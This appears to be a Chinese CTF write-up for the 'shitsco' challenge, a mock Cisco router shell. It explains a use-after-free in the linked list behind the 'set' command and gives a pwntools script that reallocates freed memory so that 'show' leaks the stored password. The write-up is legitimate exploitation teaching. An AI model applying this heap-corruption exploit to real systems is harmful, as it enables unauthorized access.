tips:
本地测试需要建立 /home/shitsco/password , /home/shitsco/flag两个文件存放string,password需要以0x00结束
password:pineapple flag:12345678
题目
这是模仿思科路由器操作的一道题,提供一些命令供使用,enable需要密码进入,且会读入换行符
set用于设置参数,并赋值
show可显示set的参数和值
查看程序保护
ida分析:
特权模式验证部分
发现程序读入password的值并设置全局变量
尝试找出密码,进入特权模式输出flag
它实际上是一个双向链表,有四个字段:
typedef struct {
char *name;
char *value;
void *prev;
void *next;
}
set新结构体时,只有一种可能性:它将移到最后并设置“next”指针,再次set删除时,有三种可能:链表的结尾,中间或开头,可能发生三件事:
链表的结尾:释放它并将前一个指针的'next'置为NULL
链表的中间:释放它并设置前一个结构体的next和下一个结构体的prev相等
链表的开头:无法正确设置“prev”,程序没有置空,仍然可用。uaf漏洞可用!
当我们free然后malloc相同大小空间时,由于malloc分配的过程使得p2指向的空间为刚刚释放的p1指针的空间,构造恶意的数据将这段内存空间布局好,即覆盖了p1中的数据
gdb调试:
首先设置转储大小
传入16字节大小,构造利用的环境,此时name, value, previous, next pointers 都被覆盖,
构造pre指针指向first adddr构造循环链表,value值(即控制流程进入vf
printf函数)指向password的全局变量,来循环输出password
exp如下:
或者python:
from pwn import *
io = remote("127.0.0.1",5000)
io.recvuntil("$ ")
io.send("set a AAAAAAAAAAAAAAAA\n")
io.recv(1024)
io.send("set b BBBBBBBBBBBBBBBB\n")
io.recv(1024)
io.send("set a\n")
io.recv(1024)
io.send("set b\n")
io.recv(1024)
password =0x0804C3A0
first = 0x0804C36C
payload = "set c " + "A"*4 + p32(password) + p32(first) + "A"*4
io.sendline(payload)
io.recv(1024)
io.sendline("show")
passwd = io.recv(64)
print passwd
测试:
解答: